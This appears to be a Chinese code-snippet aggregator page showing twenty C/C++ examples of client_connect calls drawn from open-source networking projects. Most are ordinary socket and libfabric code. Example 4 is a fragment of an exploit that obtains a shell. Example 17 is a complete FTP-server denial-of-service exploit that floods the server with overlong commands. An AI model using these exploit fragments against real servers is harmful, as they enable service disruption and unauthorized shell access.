本文整理汇总了C++中client_connect函数的典型用法代码示例。如果您正苦于以下问题:C++ client_connect函数的具体用法?C++ client_connect怎么用?C++ client_connect使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了client_connect函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: run
static int run(void)
{
int i, ret = 0;
buf = malloc(!custom ? test_size[TEST_CNT - 1].size : transfer_size);
if (!buf) {
perror("malloc");
return -1;
}
if (!dst_addr) {
ret = server_listen();
if (ret)
goto free;
}
printf("%-10s%-8s%-8s%-8s%-8s%8s %10s%13s\n",
"name", "bytes", "xfers", "iters", "total", "time", "Gb/sec", "usec/xfer");
if (!custom) {
optimization = opt_latency;
ret = dst_addr ? client_connect() : server_connect();
if (ret)
goto free;
for (i = 0; i < TEST_CNT; i++) {
if (test_size[i].option > size_option)
continue;
init_latency_test(test_size[i].size);
run_test();
}
rshutdown(rs, SHUT_RDWR);
rclose(rs);
optimization = opt_bandwidth;
ret = dst_addr ? client_connect() : server_connect();
if (ret)
goto free;
for (i = 0; i < TEST_CNT; i++) {
if (test_size[i].option > size_option)
continue;
init_bandwidth_test(test_size[i].size);
run_test();
}
} else {
ret = dst_addr ? client_connect() : server_connect();
if (ret)
goto free;
ret = run_test();
}
rshutdown(rs, SHUT_RDWR);
rclose(rs);
free:
free(buf);
return ret;
}
开发者ID:VinGorilla,项目名称:gpunet,代码行数:57,代码来源:riostream.c
示例2: pseudo_client_setup
static int
pseudo_client_setup(void) {
char * pseudo_pidfile;
FILE *fp;
server_pid = 0;
/* avoid descriptor leak, I hope */
if (connect_fd >= 0) {
close(connect_fd);
connect_fd = -1;
}
pseudo_pidfile = pseudo_localstatedir_path(PSEUDO_PIDFILE);
fp = fopen(pseudo_pidfile, "r");
if (fp) {
if (fscanf(fp, "%d", &server_pid) != 1) {
pseudo_debug(1, "Opened server PID file, but didn't get a pid.\n");
}
fclose(fp);
}
if (server_pid) {
if (kill(server_pid, 0) == -1) {
pseudo_debug(1, "couldn't find server at pid %d: %s\n",
server_pid, strerror(errno));
server_pid = 0;
}
}
if (!server_pid) {
if (client_spawn_server()) {
return 1;
}
}
if (!client_connect() && !client_ping()) {
return 0;
}
pseudo_debug(2, "server seems to be gone, trying to restart\n");
if (client_spawn_server()) {
pseudo_debug(1, "failed to spawn server, giving up.\n");
return 1;
} else {
pseudo_debug_verbose();
pseudo_debug(2, "restarted, new pid %d\n", server_pid);
if (!client_connect() && !client_ping()) {
pseudo_debug_terse();
return 0;
}
pseudo_debug_terse();
}
pseudo_debug(1, "couldn't get a server, giving up.\n");
return 1;
}
开发者ID:cgwalters,项目名称:pseudo,代码行数:51,代码来源:pseudo_client.c
示例3: ipclite_client_connect
int ipclite_client_connect(ipclite *c, const char *path, int flags)
{
ipclite_client *clt = (ipclite_client *)c;
struct sockaddr_un addr;
socklen_t len = sizeof(addr);
int ret, fd;
if(! clt || clt->base.type != IPCLITE_CLIENT || ! path || ! *path)
return IPCLITE_ERR_INV;
if((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1)
return IPCLITE_ERR_SCK;
addr.sun_family = AF_UNIX;
addr.sun_path[0] = '\0';
if(flags & IPCLITE_F_ABSTRACT)
strncpy(addr.sun_path + 1, path, sizeof(addr.sun_path) - 1);
else
strncpy(addr.sun_path, path, sizeof(addr.sun_path));
if(connect(fd, (struct sockaddr *)&addr, len) < 0) {
close(fd);
return IPCLITE_ERR_CNN;
}
ret = client_connect(clt, fd, path, flags);
if(ret != IPCLITE_ERR_OK)
close(fd);
return ret;
}
开发者ID:crs-chin,项目名称:lavender,代码行数:30,代码来源:ipclite_client.c
示例4: retrfile
void retrfile(char *s,int len,int port)
{
int i,pid;
char data1;
struct sockaddr_in client;
memset(&client,0,sizeof(client));
sockfd1=socket(2,1,0);
if(create_serv(sockfd1,port)<0) quit();
i=sizeof(client);
sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
memset(s,0,len);
if(getshell==1)
{
if(bindmethod==0)
{
printf("[+] Is it a shell on %s:%d?\n",cbhost,pt);
quit();
}
else
{
printf("[+] Waiting for a shell.....\n");
sockfd2=socket(AF_INET,SOCK_STREAM,0);
sleep(2);
client_connect(sockfd2,server,pt);
execsh(sockfd2);
quit();
}
}
readbuf(NULL,sockfd2,s,len);
close(sockfd2);
close(sockfd1);
}
开发者ID:B-Rich,项目名称:osf_db,代码行数:35,代码来源:8679_0.c
示例5: run
static int run(void)
{
int ret = 0;
if (!dst_addr) {
ret = server_listen();
if (ret)
return ret;
}
ret = dst_addr ? client_connect() : server_connect();
if (ret) {
return ret;
}
run_test();
fi_shutdown(ep, 0);
fi_close(&ep->fid);
free_ep_res();
if (!dst_addr)
free_lres();
fi_close(&dom->fid);
fi_close(&fab->fid);
return ret;
}
开发者ID:rfaucett,项目名称:fabtests,代码行数:26,代码来源:imm_data.c
示例6: run_client
static void run_client(struct thread *t)
{
struct options *opts = t->opts;
const int flows_in_this_thread = flows_in_thread(opts->num_flows,
opts->num_threads,
t->index);
struct callbacks *cb = t->cb;
struct epoll_event *events;
int epfd, i;
char *buf;
LOG_INFO(cb, "flows_in_this_thread=%d", flows_in_this_thread);
epfd = epoll_create1(0);
if (epfd == -1)
PLOG_FATAL(cb, "epoll_create1");
epoll_add_or_die(epfd, t->stop_efd, EPOLLIN, cb);
for (i = 0; i < flows_in_this_thread; i++)
client_connect(i, epfd, t);
events = calloc(opts->maxevents, sizeof(struct epoll_event));
buf = buf_alloc(opts);
pthread_barrier_wait(t->ready);
while (!t->stop) {
int ms = opts->nonblocking ? 10 /* milliseconds */ : -1;
int nfds = epoll_wait(epfd, events, opts->maxevents, ms);
if (nfds == -1) {
if (errno == EINTR)
continue;
PLOG_FATAL(cb, "epoll_wait");
}
client_events(t, epfd, events, nfds, buf);
}
free(buf);
free(events);
do_close(epfd);
}
开发者ID:furen62682,项目名称:neper,代码行数:35,代码来源:tcp_rr.c
示例7: client_expect_reject
static int client_expect_reject(size_t paramlen)
{
uint32_t event;
int ret;
ret = client_connect(paramlen);
if (ret) {
FT_PRINTERR("fi_connect", ret);
return ret;
}
ret = fi_eq_sread(eq, &event, entry, sizeof(*entry), -1, 0);
if (ret != -FI_EAVAIL) {
FT_PROCESS_EQ_ERR(ret, eq, "fi_eq_sread", "connect");
return ret;
}
ret = fi_eq_readerr(eq, &err_entry, 0);
if (ret != sizeof(err_entry)) {
FT_EQ_ERR(eq, err_entry, NULL, 0);
return err_entry.err;
}
if (err_entry.err != FI_ECONNREFUSED)
return err_entry.err;
/* Check data on FI_ECONNREFUSED error event. */
return ft_check_buf(err_entry.err_data, err_entry.err_data_size);
}
开发者ID:a-abraham,项目名称:fabtests-cray,代码行数:29,代码来源:cm_data.c
示例8: leak_closure
static void
leak_closure(void)
{
struct wl_callback *cb;
struct pollfd pfd;
struct client *c = client_connect();
cb = wl_display_sync(c->wl_display);
assert(cb);
assert(wl_display_flush(c->wl_display) > 0);
/* we don't need it, it is referenced */
wl_callback_destroy(cb);
pfd.fd = wl_display_get_fd(c->wl_display);
pfd.events = POLLIN;
test_set_timeout(2);
assert(poll(&pfd, 1, -1) == 1);
/* read events, but do not dispatch them */
assert(wl_display_prepare_read(c->wl_display) == 0);
assert(wl_display_read_events(c->wl_display) == 0);
/*
* now we have wl_callback.done and wl_display.delete_id queued;
* if we now release the queue (in wl_display_disconnect())
* we should not leak memory
*/
client_disconnect(c);
}
开发者ID:ybakos,项目名称:wayland,代码行数:32,代码来源:connection-test.c
示例9: client_expect_accept
static int client_expect_accept(size_t paramlen)
{
size_t expected;
uint32_t event;
int ret;
expected = paramlen + sizeof(*entry);
ret = client_connect(paramlen);
if (ret) {
FT_PRINTERR("fi_connect", ret);
return ret;
}
ret = fi_eq_sread(eq, &event, entry, expected, -1, 0);
if (ret != expected) {
FT_PROCESS_EQ_ERR(ret, eq, "fi_eq_sread", "connect");
return ret;
}
if (event != FI_CONNECTED || entry->fid != &ep->fid) {
FT_ERR("Unexpected CM event %d fid %p (ep %p)", event,
entry->fid, ep);
return -FI_EOTHER;
}
/* Check data on FI_CONNECTED event. */
ret = ft_check_buf(entry->data, paramlen);
if (ret)
return ret;
fi_shutdown(ep, 0);
return read_shutdown_event();
}
开发者ID:gbtitus,项目名称:libfabric,代码行数:34,代码来源:cm_data.c
示例10: run
static int run(void)
{
int ret = 0;
addr_array = calloc(ep_cnt, sizeof(*addr_array));
if (!addr_array) {
perror("malloc");
return -FI_ENOMEM;
}
if (hints->ep_attr->type == FI_EP_MSG) {
if (!opts.dst_addr) {
ret = ft_start_server();
if (ret)
return ret;
}
ret = opts.dst_addr ? client_connect() : server_connect();
} else {
ret = init_fabric();
}
if (ret)
return ret;
ret = run_test();
/* TODO: Add a local finalize applicable to shared ctx */
//ft_finalize(fi, ep_array[0], txcq, rxcq, addr_array[0]);
return ret;
}
开发者ID:ofiwg,项目名称:libfabric,代码行数:30,代码来源:shared_ctx.c
示例11: main
int main()
{
tlog_init(TLOG_MODE_STDERR, TLOG_INFO, NULL);
rcp_connect("10.25.25.220");
start_message_manager();
client_register(RCP_USER_LEVEL_LIVE, "", RCP_REGISTRATION_TYPE_NORMAL, RCP_ENCRYPTION_MODE_MD5);
rcp_coder_list encoders, decoders;
get_coder_list(RCP_CODER_ENCODER, RCP_MEDIA_TYPE_VIDEO, &encoders, 1);
TL_DEBUG("***");
for (int i=0; i<encoders.count; i++)
TL_DEBUG("%x %x %x %x %x", encoders.coder[i].number, encoders.coder[i].caps, encoders.coder[i].current_cap, encoders.coder[i].param_caps, encoders.coder[i].current_param);
TL_DEBUG("***");
get_coder_list(RCP_CODER_DECODER, RCP_MEDIA_TYPE_VIDEO, &decoders, 1);
TL_DEBUG("***");
for (int i=0; i<decoders.count; i++)
TL_DEBUG("%x %x %x %x %x", decoders.coder[i].number, decoders.coder[i].caps, decoders.coder[i].current_cap, decoders.coder[i].param_caps, decoders.coder[i].current_param);
TL_DEBUG("***");
rcp_session session;
memset(&session, 0, sizeof(rcp_session));
unsigned short udp_port = stream_connect_udp(&session);
TL_DEBUG("udp port = %d", udp_port);
rcp_media_descriptor desc = {
RCP_MEP_UDP, 1, 1, 0, udp_port, 0, 1, RCP_VIDEO_CODING_MPEG4, RCP_VIDEO_RESOLUTION_4CIF
};
client_connect(&session, RCP_CONNECTION_METHOD_GET, RCP_MEDIA_TYPE_VIDEO, 0, &desc);
pthread_create(&thread, NULL, keep_alive_thread, &session);
rtp_merge_desc mdesc;
rtp_init(RTP_PAYLOAD_TYPE_H263, 1, &mdesc);
time_t end_time = time(NULL) + 10;
while (time(NULL) < end_time)
{
/*
int num = recvfrom(con.stream_socket, buffer, 1500, 0, (struct sockaddr*)&si_remote, &slen);
rtp_push_frame(buffer, num, &mdesc);
*/
rtp_recv(session.stream_socket, &mdesc);
if (rtp_pop_frame(&mdesc) == 0)
fwrite(mdesc.data, mdesc.frame_lenght, 1, stdout);
}
pthread_cancel(thread);
stop_message_manager();
return 0;
}
开发者ID:hawell,项目名称:rcpplus,代码行数:59,代码来源:test_h263_udp.c
示例12: ipclite_client_connect_from_fd
int ipclite_client_connect_from_fd(ipclite *c, int fd, int flags)
{
ipclite_client *clt = (ipclite_client *)c;
if(! clt || clt->base.type != IPCLITE_CLIENT)
return IPCLITE_ERR_INV;
return client_connect(clt, fd, NULL, flags);
}
开发者ID:crs-chin,项目名称:lavender,代码行数:9,代码来源:ipclite_client.c
示例13: main
int main(int argc, char **argv)
{
int op, ret;
opts = INIT_OPTS;
hints = fi_allocinfo();
if (!hints)
return EXIT_FAILURE;
while ((op = getopt(argc, argv, "h" ADDR_OPTS INFO_OPTS)) != -1) {
switch (op) {
default:
ft_parse_addr_opts(op, optarg, &opts);
ft_parseinfo(op, optarg, hints);
break;
case '?':
case 'h':
ft_usage(argv[0], "A simple MSG client-sever example that "
"demonstrates one possible usage of the underlying "
"cq wait objects.");
return EXIT_FAILURE;
}
}
if (optind < argc)
opts.dst_addr = argv[optind];
hints->ep_attr->type = FI_EP_MSG;
hints->caps = FI_MSG;
hints->mode = FI_LOCAL_MR;
hints->addr_format = FI_SOCKADDR;
/* Fabric and connection setup */
if (!opts.dst_addr) {
ret = server_listen();
if (ret)
return -ret;
}
ret = opts.dst_addr ? client_connect() : server_connect();
if (ret) {
return -ret;
}
/* Exchange data */
ret = send_recv();
fi_shutdown(ep, 0);
free_ep_res();
fi_close(&cmeq->fid);
fi_close(&dom->fid);
fi_close(&fab->fid);
return ret;
}
开发者ID:jsquyres,项目名称:fabtests,代码行数:55,代码来源:msg_epoll.c
示例14: while
void *sync_func(void *arg)
{
int fd_cl, t_seek=0, synced_events, synced_count=0, total_count=0;
char buf[MSG_LEN], events_buf[32];
int ret=0;
while(1) {
ret = check_data_status();
if((ret > 0) && client_connect()) {
// printf("data_status : %d\n", check_data_status());
pthread_mutex_lock(&mtx);
fd_cl = open(CLIENT_FILENAME, O_SYNC | O_RDONLY, 0666);
do {
total_count = current_events(1);
synced_count = current_events(2);
printf("++ total_events: %d || synced_events: %d\n", total_count, synced_count);
ret = lseek(fd_cl, 0, SEEK_SET);
printf("VDEBUG__ 11 Seek position = %d || return %d\n", 0, ret);
ret = lseek(fd_cl, (MSG_LEN*synced_count), SEEK_SET);
printf("VDEBUG__ 22 Seek position = %d || return %d\n", (MSG_LEN*synced_count), ret);
ret = read(fd_cl, buf, MSG_LEN);
printf("VDEBUG__ sync_func() read %d bytes\n", ret);
printf("VDEBUG__ Buffer to publish: %s\n", buf);
if(!publish(MSG_LEN, buf)) { /* Considering publish will return 0 when sucess */
/* Saving number of events to disk */
synced_events = open("SYNCED_EVENTS", O_CREAT | O_TRUNC | O_SYNC | O_WRONLY, 0666);
ret = lseek(synced_events, 0, SEEK_SET);
printf("VDEBUG__ lseeked synced count file to %d\n", ret);
sprintf(events_buf, "%d", ++synced_count);
here: ret = write(synced_events, events_buf, strlen(events_buf));
close(synced_events);
if (ret==-1) {
printf("VDEBUG__ writing synced count failed !\n");
printf("Retrying..\n");
sleep(1);
goto here;
}
printf("VDEBUG__ written synced count %d\n", synced_count);
}
} while (synced_count < total_count);
close(fd_cl);
MQTTClient_disconnect(client, 10000);
pthread_mutex_unlock(&mtx);
}
else {
sleep(10);
}
}
pthread_exit(NULL);
}
开发者ID:vaibhav1233,项目名称:mqtt,代码行数:55,代码来源:nmain.c
示例15: main
int main(int argc, const char *argv[])
{
fd_set allreads;
fd_set readmask;
int socket = 0;
int rc = 0;
RingBuffer *in_rb = RingBuffer_create(1024 * 10);
RingBuffer *sock_rb = RingBuffer_create(1024 * 10);
check(argc == 3, "USAGE: netclient HOST PORT");
socket = client_connect(argv[1], argv[2]);
check(socket >= 0, "Connect to %s:%s failed.", argv[1], argv[2]);
FD_ZERO(&allreads);
FD_SET(socket, &allreads);
FD_SET(0, &allreads);
while(1) {
readmask = allreads;
rc = select(socket + 1, &readmask, NULL, NULL, NULL);
check(rc >= 0, "Select failed");
if(FD_ISSET(0, &readmask)) {
rc = read_some(in_rb, 0, 0);
check_debug(rc != -1, "failed to read from stdin.");
}
if(FD_ISSET(socket, &readmask)) {
rc = read_some(sock_rb, socket, 0);
check_debug(rc != -1, "failed to read from socket.");
}
while(!RingBuffer_empty(sock_rb)) {
rc = write_some(sock_rb, 1, 0);
check_debug(rc != -1, "failed to write to stdout.");
}
while(!RingBuffer_empty(in_rb)) {
rc = write_some(in_rb, socket, 1);
check_debug(rc != -1, "failed to write to socket.");
}
}
RingBuffer_destroy(in_rb);
RingBuffer_destroy(sock_rb);
return 0;
error:
return -1;
}
开发者ID:bmoar,项目名称:c_skelly,代码行数:54,代码来源:netclient.c
示例16: main
void
main(int argc, char **argv)
{
int c;
extern char *optarg;
extern int optind;
extern int opterr;
char *msg;
char *address;
Range r;
/* parse arguments */
opterr = 0;
while ((c = getopt(argc, argv, "v")) != -1) {
switch (c) {
case 'v':
fprintf(stderr, "%s\n", versioninfo);
exit(0);
default:
fprintf(stderr, "%s\n", usageinfo);
exit(1);
break;
}
}
if (argv[optind] == 0 || argv[optind + 1] != 0) {
fprintf(stderr, "%s\n", usageinfo);
exit(1);
}
address = argv[optind];
/* open connection */
wilyfd = client_connect();
if (wilyfd < 0) {
error("client_connect() failed" here);
exit(1);
}
handle = rpc_init(wilyfd);
/* get address */
msg = rpc_goto(handle, &id, &r, strdup(address), 1);
if (msg != 0) {
error("rpc_goto() failed" here ": %s", msg);
exit(1);
}
if (r.p0 > r.p1) {
error("unable to find %s", address);
exit(1);
}
exit(0);
}
开发者ID:knusbaum,项目名称:Wily,代码行数:51,代码来源:wgoto.c
示例17: main
void main(int argc, char *argv[])
{
WSADATA wsa;
unsigned short port;
unsigned long ip;
SOCKET s;
int size = SIZE;
printf("Cesar FTP Server Long Command DoS Exploit\r\n");
printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");
if(argc < 3)
{
printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
return;
}
WSAStartup(MAKEWORD(2,2),&wsa);
if((s=create_socket())==0)
{
printf("[-] ERROR: Create socket failed.\r\n");
return;
}
if(!client_connect(s, argv[1], atoi(argv[2])))
exit(-1);
readbuf("read", s, recvbuf, BUFFSIZE);
memset(sendbuf, 0, BUFFSIZE);
memset(sendbuf, 'A', size);
sendbuf[size-2] ='\r';
sendbuf[size-1] ='\n';
while(1)
{
show=1;
writebuf("Send Buff", s, sendbuf, size);
readbuf("read", s, recvbuf, BUFFSIZE);
Sleep(1000);
}
if(s)
closesocket(s);
WSACleanup();
}
开发者ID:B-Rich,项目名称:osf_db,代码行数:50,代码来源:11070_0.c
示例18: bind2conn
int bind2conn(int port1,char *host,int port2)
{
int sockfd,sockfd1,sockfd2;
struct sockaddr_in remote;
int size;
int pid;
char buffer[1024];
memset(buffer,0,1024);
if((sockfd=create_socket())==0) exit(0);
if(create_serv(sockfd,port1)==0)
{
close(sockfd1);
exit(0);
}
size=sizeof(struct sockaddr);
while(1)
{
printf("waiting for response.........\n");
if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,(socklen_t *)&size))<0)
{
perror("accept error\n");
continue;
}
printf("accept a client from %s:%d\n",inet_ntoa(remote.sin_addr),ntohs(remote.sin_port));
if((sockfd2=create_socket())==0)
{
close(sockfd1);
continue;
}
printf("make a connection to %s:%d....",host,port2);
fflush(stdout);
if(client_connect(sockfd2,host,port2)==0)
{
close(sockfd2);
sprintf(buffer,"[SERVER]connection to %s:%d error\r\n",host,port2);
write(sockfd1,buffer,strlen(buffer));
memset(buffer,0,1024);
close(sockfd1);
continue;
}
printf("ok\r\n");
pid=fork();
if(pid==0) transdata(sockfd1,sockfd2);
// sleep(2);
close(sockfd1);
close(sockfd2);
}
}
开发者ID:neroanelli,项目名称:trtool,代码行数:50,代码来源:trtool.c
示例19: main
int main( int argc, char *argv[] ) {
if ( argc != 2 ) {
printf( "Usage: client SERVER_IP_ADDRESS\n" );
return 1;
}
client_sock = client_connect( argv[ 1 ] );
in_msg();
terminate_socket( client_sock );
return 0;
}
开发者ID:clholgat,项目名称:CSC246,代码行数:14,代码来源:client.c
示例20: main
int main(int argc, char *argv[])
{
init_enet_server(PORT);
LOG("Started server.\n");
struct moag moag;
init_game(&moag);
LOG("Initialized game.\n");
ENetEvent event;
for (;;)
{
while (enet_host_service(get_server_host(), &event, 0))
{
switch (event.type)
{
case ENET_EVENT_TYPE_CONNECT:
LOG("Client connected.\n");
event.peer->data = (void *)client_connect(&moag);
break;
case ENET_EVENT_TYPE_DISCONNECT:
LOG("Client disconnected.\n");
disconnect_client(&moag, (intptr_t)event.peer->data);
break;
case ENET_EVENT_TYPE_RECEIVE:
on_receive(&moag, &event);
enet_packet_destroy(event.packet);
break;
default:
break;
}
}
SDL_Delay(10);
step_game(&moag);
}
uninit_enet();
LOG("Stopped server.\n");
return EXIT_SUCCESS;
}
开发者ID:mpatraw,项目名称:MOAG,代码行数:49,代码来源:server.c
注:本文中的client_connect函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论